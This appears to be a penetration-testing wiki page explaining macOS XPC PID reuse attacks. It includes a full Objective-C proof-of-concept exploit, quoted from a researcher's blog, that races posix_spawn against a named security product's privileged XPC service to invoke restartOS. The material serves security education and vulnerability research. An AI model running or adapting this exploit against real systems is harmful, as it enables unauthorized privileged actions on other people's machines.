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macOS PID Reuse

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PID Reuse

When a macOS XPC service is checking the called process based on the PID and not on the audit token, it's vulnerable to PID reuse attack. This attack is based on a race condition where an exploit is going to send messages to the XPC service abusing the functionality and just after that, executing posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) with the allowed binary.

This function will make the allowed binary own the PID but the malicious XPC message would have been sent just before. So, if the XPC service use the PID to authenticate the sender and checks it AFTER the execution of posix_spawn, it will think it comes from an authorized process.

Exploit example

If you find the function shouldAcceptNewConnection or a function called by it calling processIdentifier and not calling auditToken. It highly probable means that it's verifying the process PID and not the audit token.
Like for example in this image (taken from the reference):

Check this example exploit (again, taken from the reference) to see the 2 parts of the exploit:

  • One that generates several forks
  • Each fork will send the payload to the XPC service while executing posix_spawn just after sending the message.

{% hint style="danger" %} For the exploit to work it's important to export export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES or to put in th exploit:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

{% endhint %}

// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

    // send the XPC messages
    NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
    NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
    xpcConnection.remoteObjectInterface = remoteInterface;

    [xpcConnection resume];
    [xpcConnection.remoteObjectProxy restartOS];

    char target_binary[] = BINARY;
    char *target_argv[] = {target_binary, NULL};
    posix_spawnattr_t attr;
    posix_spawnattr_init(&attr);
    short flags;
    posix_spawnattr_getflags(&attr, &flags);
    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
    posix_spawnattr_setflags(&attr, flags);
    posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

    NSString *exec = [[NSBundle mainBundle] executablePath];
    NSTask *processes[RACE_COUNT];

    for (int i = 0; i < RACE_COUNT; i++) {
        processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
    }

    int i = 0;
    struct timespec ts = {
        .tv_sec = 0,
        .tv_nsec = 500 * 1000000,
    };

    nanosleep(&ts, NULL);
    if (++i > 4) {
        for (int i = 0; i < RACE_COUNT; i++) {
            [processes[i] terminate];
        }
        return false;
    }

    return true;
}

int main(int argc, const char * argv[]) {

    if(argc > 1) {
        // called from the NSTasks
        child();

    } else {
        NSLog(@"Starting the race");
        create_nstasks();
    }

    return 0;
}obj

Refereces

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